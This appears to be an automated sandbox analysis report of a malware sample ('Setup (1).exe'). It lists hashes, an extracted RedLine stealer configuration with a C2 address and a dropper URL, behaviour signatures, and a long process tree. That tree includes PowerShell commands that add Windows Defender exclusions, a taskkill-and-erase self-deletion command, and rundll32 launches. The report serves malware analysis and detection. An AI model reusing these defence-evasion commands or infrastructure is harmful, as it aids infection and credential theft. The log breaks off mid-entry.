Resubmissions

15/10/2024, 15:36

241015-s1zlzasdkc 10

01/07/2024, 18:32

240701-w6yteawhmq 10

01/07/2024, 14:52

240701-r82wmaxdnd 10

01/07/2024, 14:52

240701-r8syqa1dpp 10

11/03/2024, 21:22

240311-z8dsssgg58 10

01/09/2021, 13:18

210901-5bmxjspa5s 10

01/09/2021, 13:04

210901-te4btfspqa 10

01/09/2021, 05:12

210901-4wnkwm1p3j 10

31/08/2021, 21:47

210831-41rp97dma2 10

Analysis

  • max time kernel
    79s
  • max time network
    570s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    27/08/2021, 15:40

Errors

Reason
Remote task has failed: Machine shutdown

General

  • Target

    Setup (1).exe

  • Size

    631KB

  • MD5

    cb927513ff8ebff4dd52a47f7e42f934

  • SHA1

    0de47c02a8adc4940a6c18621b4e4a619641d029

  • SHA256

    fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

  • SHA512

    988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://kmsauto.us/ra/ALL.txt

Extracted

Family

redline

Botnet

dibild2

C2

135.148.139.222:1494

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 13 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 24 IoCs
  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup (1).exe
    "C:\Users\Admin\AppData\Local\Temp\Setup (1).exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Users\Admin\Documents\PAJiQU5FHISnnILKza_1vINi.exe
      "C:\Users\Admin\Documents\PAJiQU5FHISnnILKza_1vINi.exe"
      2⤵
      • Executes dropped EXE
      PID:1692
      • C:\Users\Admin\Documents\PAJiQU5FHISnnILKza_1vINi.exe
        "C:\Users\Admin\Documents\PAJiQU5FHISnnILKza_1vINi.exe"
        3⤵
          PID:2284
      • C:\Users\Admin\Documents\QkPaHsOYJoess5RIDvhh16di.exe
        "C:\Users\Admin\Documents\QkPaHsOYJoess5RIDvhh16di.exe"
        2⤵
        • Executes dropped EXE
        PID:1352
      • C:\Users\Admin\Documents\DGdRJdjYMp1D2RpLYKBui1LY.exe
        "C:\Users\Admin\Documents\DGdRJdjYMp1D2RpLYKBui1LY.exe"
        2⤵
        • Executes dropped EXE
        PID:940
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"
          3⤵
            PID:2436
        • C:\Users\Admin\Documents\BYigjZqBO6919Fxun020c5es.exe
          "C:\Users\Admin\Documents\BYigjZqBO6919Fxun020c5es.exe"
          2⤵
          • Executes dropped EXE
          PID:932
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 768
            3⤵
            • Program crash
            PID:2144
        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
          "C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe"
          2⤵
          • Executes dropped EXE
          PID:1092
          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
            3⤵
              PID:3040
            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
              3⤵
                PID:324
              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                3⤵
                  PID:2228
                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                  3⤵
                    PID:1744
                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                    3⤵
                      PID:1496
                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                      3⤵
                        PID:1056
                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                        3⤵
                          PID:1652
                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                          3⤵
                            PID:2640
                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                            3⤵
                              PID:2660
                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                              3⤵
                                PID:2484
                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                3⤵
                                  PID:1636
                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                  3⤵
                                    PID:2268
                                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                    3⤵
                                      PID:2296
                                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                      3⤵
                                        PID:2096
                                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                        3⤵
                                          PID:2388
                                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                          3⤵
                                            PID:2540
                                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                            3⤵
                                              PID:1580
                                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                              3⤵
                                                PID:3012
                                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                3⤵
                                                  PID:1956
                                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                  3⤵
                                                    PID:2996
                                                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                    3⤵
                                                      PID:2304
                                                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                      3⤵
                                                        PID:1716
                                                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                        3⤵
                                                          PID:3100
                                                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                          3⤵
                                                            PID:3172
                                                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                            3⤵
                                                              PID:3216
                                                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                              3⤵
                                                                PID:3308
                                                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                3⤵
                                                                  PID:3352
                                                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                  3⤵
                                                                    PID:3416
                                                                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                    3⤵
                                                                      PID:3460
                                                                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                      3⤵
                                                                        PID:3504
                                                                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                        3⤵
                                                                          PID:3548
                                                                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                          3⤵
                                                                            PID:3612
                                                                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                            3⤵
                                                                              PID:3648
                                                                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                              3⤵
                                                                                PID:3704
                                                                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                3⤵
                                                                                  PID:3740
                                                                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                  3⤵
                                                                                    PID:3808
                                                                                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                    3⤵
                                                                                      PID:3848
                                                                                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                      3⤵
                                                                                        PID:3904
                                                                                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                        3⤵
                                                                                          PID:3936
                                                                                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                          3⤵
                                                                                            PID:3996
                                                                                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                            3⤵
                                                                                              PID:4032
                                                                                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                              3⤵
                                                                                                PID:2736
                                                                                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                3⤵
                                                                                                  PID:3092
                                                                                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                  3⤵
                                                                                                    PID:2940
                                                                                                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                    3⤵
                                                                                                      PID:3244
                                                                                                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                      3⤵
                                                                                                        PID:2472
                                                                                                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                        3⤵
                                                                                                          PID:3368
                                                                                                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                          3⤵
                                                                                                            PID:1244
                                                                                                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                            3⤵
                                                                                                              PID:2968
                                                                                                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                              3⤵
                                                                                                                PID:1536
                                                                                                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                3⤵
                                                                                                                  PID:3628
                                                                                                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                  3⤵
                                                                                                                    PID:2316
                                                                                                                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                    3⤵
                                                                                                                      PID:3864
                                                                                                                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                      3⤵
                                                                                                                        PID:3956
                                                                                                                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                        3⤵
                                                                                                                          PID:1772
                                                                                                                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                          3⤵
                                                                                                                            PID:2360
                                                                                                                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                            3⤵
                                                                                                                              PID:3348
                                                                                                                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                              3⤵
                                                                                                                                PID:3584
                                                                                                                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                3⤵
                                                                                                                                  PID:3636
                                                                                                                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                  3⤵
                                                                                                                                    PID:3836
                                                                                                                                  • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                    C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                    3⤵
                                                                                                                                      PID:3140
                                                                                                                                    • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                      C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                      3⤵
                                                                                                                                        PID:3484
                                                                                                                                      • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                        C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                        3⤵
                                                                                                                                          PID:360
                                                                                                                                        • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                          C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                          3⤵
                                                                                                                                            PID:3932
                                                                                                                                          • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                            C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                            3⤵
                                                                                                                                              PID:4108
                                                                                                                                            • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                              C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                              3⤵
                                                                                                                                                PID:4184
                                                                                                                                              • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                                C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                                3⤵
                                                                                                                                                  PID:4260
                                                                                                                                                • C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                                  C:\Users\Admin\Documents\WUJRmyfb7Rf5IhYlAP1LLfbk.exe
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4364
                                                                                                                                                • C:\Users\Admin\Documents\guWmD5gHjZRUtxL0_ytfPMm8.exe
                                                                                                                                                  "C:\Users\Admin\Documents\guWmD5gHjZRUtxL0_ytfPMm8.exe"
                                                                                                                                                  2⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:316
                                                                                                                                                • C:\Users\Admin\Documents\pePjKdtgRUa91FYCzQo5PvPU.exe
                                                                                                                                                  "C:\Users\Admin\Documents\pePjKdtgRUa91FYCzQo5PvPU.exe"
                                                                                                                                                  2⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:1320
                                                                                                                                                • C:\Users\Admin\Documents\2DtSA092jQqFAeQJHjYewdI5.exe
                                                                                                                                                  "C:\Users\Admin\Documents\2DtSA092jQqFAeQJHjYewdI5.exe"
                                                                                                                                                  2⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:1576
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\df6e720d-d920-40e5-8659-2418b2ead773\AdvancedRun.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\df6e720d-d920-40e5-8659-2418b2ead773\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\df6e720d-d920-40e5-8659-2418b2ead773\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3020
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\df6e720d-d920-40e5-8659-2418b2ead773\AdvancedRun.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\df6e720d-d920-40e5-8659-2418b2ead773\AdvancedRun.exe" /SpecialRun 4101d8 3020
                                                                                                                                                        4⤵
                                                                                                                                                          PID:2296
                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\2DtSA092jQqFAeQJHjYewdI5.exe" -Force
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1504
                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\2DtSA092jQqFAeQJHjYewdI5.exe" -Force
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2208
                                                                                                                                                        • C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe
                                                                                                                                                          "C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe"
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:876
                                                                                                                                                          • C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe
                                                                                                                                                            "C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1296
                                                                                                                                                            • C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe
                                                                                                                                                              "C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2628
                                                                                                                                                              • C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe
                                                                                                                                                                "C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1392
                                                                                                                                                                • C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe
                                                                                                                                                                  "C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:2740
                                                                                                                                                                  • C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\m6R2P9LOEn25mfpBVIZGGIdJ.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2760
                                                                                                                                                                  • C:\Users\Admin\Documents\C1x9o7mNpSzD4E1OmpDO0QGF.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\C1x9o7mNpSzD4E1OmpDO0QGF.exe"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:1612
                                                                                                                                                                  • C:\Users\Admin\Documents\6ve9HxB5TNvAupA2OnmdALMD.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\6ve9HxB5TNvAupA2OnmdALMD.exe"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:1348
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "6ve9HxB5TNvAupA2OnmdALMD.exe" /f & erase "C:\Users\Admin\Documents\6ve9HxB5TNvAupA2OnmdALMD.exe" & exit
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:2804
                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                          taskkill /im "6ve9HxB5TNvAupA2OnmdALMD.exe" /f
                                                                                                                                                                          4⤵
                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                          PID:1864
                                                                                                                                                                    • C:\Users\Admin\Documents\OTX6AMcaGzkewpXrPWZY01H2.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\OTX6AMcaGzkewpXrPWZY01H2.exe"
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:656
                                                                                                                                                                    • C:\Users\Admin\Documents\IA6nXySJpPF0J9uVr5kqHiBx.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\IA6nXySJpPF0J9uVr5kqHiBx.exe"
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:740
                                                                                                                                                                    • C:\Users\Admin\Documents\6D5yT4hF5fDeMrzuGIbzA5Au.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\6D5yT4hF5fDeMrzuGIbzA5Au.exe"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2072
                                                                                                                                                                      • C:\Users\Admin\Documents\oNNTE2EiPHj9X37aTQeog4ou.exe
                                                                                                                                                                        "C:\Users\Admin\Documents\oNNTE2EiPHj9X37aTQeog4ou.exe"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:2052
                                                                                                                                                                        • C:\Users\Admin\Documents\hOQl1gfsOkHB9smIvh1p3ifV.exe
                                                                                                                                                                          "C:\Users\Admin\Documents\hOQl1gfsOkHB9smIvh1p3ifV.exe"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1960
                                                                                                                                                                          • C:\Users\Admin\Documents\Ww4Dkb8__rZXjAI4qy6B8eOz.exe
                                                                                                                                                                            "C:\Users\Admin\Documents\Ww4Dkb8__rZXjAI4qy6B8eOz.exe"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1648
                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                                                "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:2784
                                                                                                                                                                                • C:\Program Files (x86)\Company\NewProduct\inst1.exe
                                                                                                                                                                                  "C:\Program Files (x86)\Company\NewProduct\inst1.exe"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:2848
                                                                                                                                                                                  • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                                                                                                    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2792
                                                                                                                                                                                  • C:\Users\Admin\Documents\pUWMfPtFajvfsE7hKFNBFHuE.exe
                                                                                                                                                                                    "C:\Users\Admin\Documents\pUWMfPtFajvfsE7hKFNBFHuE.exe"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:436
                                                                                                                                                                                    • C:\Users\Admin\Documents\KsSEWQAvCgDSkEZYQpY230UU.exe
                                                                                                                                                                                      "C:\Users\Admin\Documents\KsSEWQAvCgDSkEZYQpY230UU.exe"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1800
                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                          C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\KSSEWQ~1.DLL,s C:\Users\Admin\DOCUME~1\KSSEWQ~1.EXE
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:3028
                                                                                                                                                                                        • C:\Users\Admin\Documents\VYrw7CbENh2h4xVmqAc01f59.exe
                                                                                                                                                                                          "C:\Users\Admin\Documents\VYrw7CbENh2h4xVmqAc01f59.exe"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:868
                                                                                                                                                                                          • C:\Users\Admin\Documents\w9A5WnhzeSRUrXrheT8zuXGp.exe
                                                                                                                                                                                            "C:\Users\Admin\Documents\w9A5WnhzeSRUrXrheT8zuXGp.exe"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1616
                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
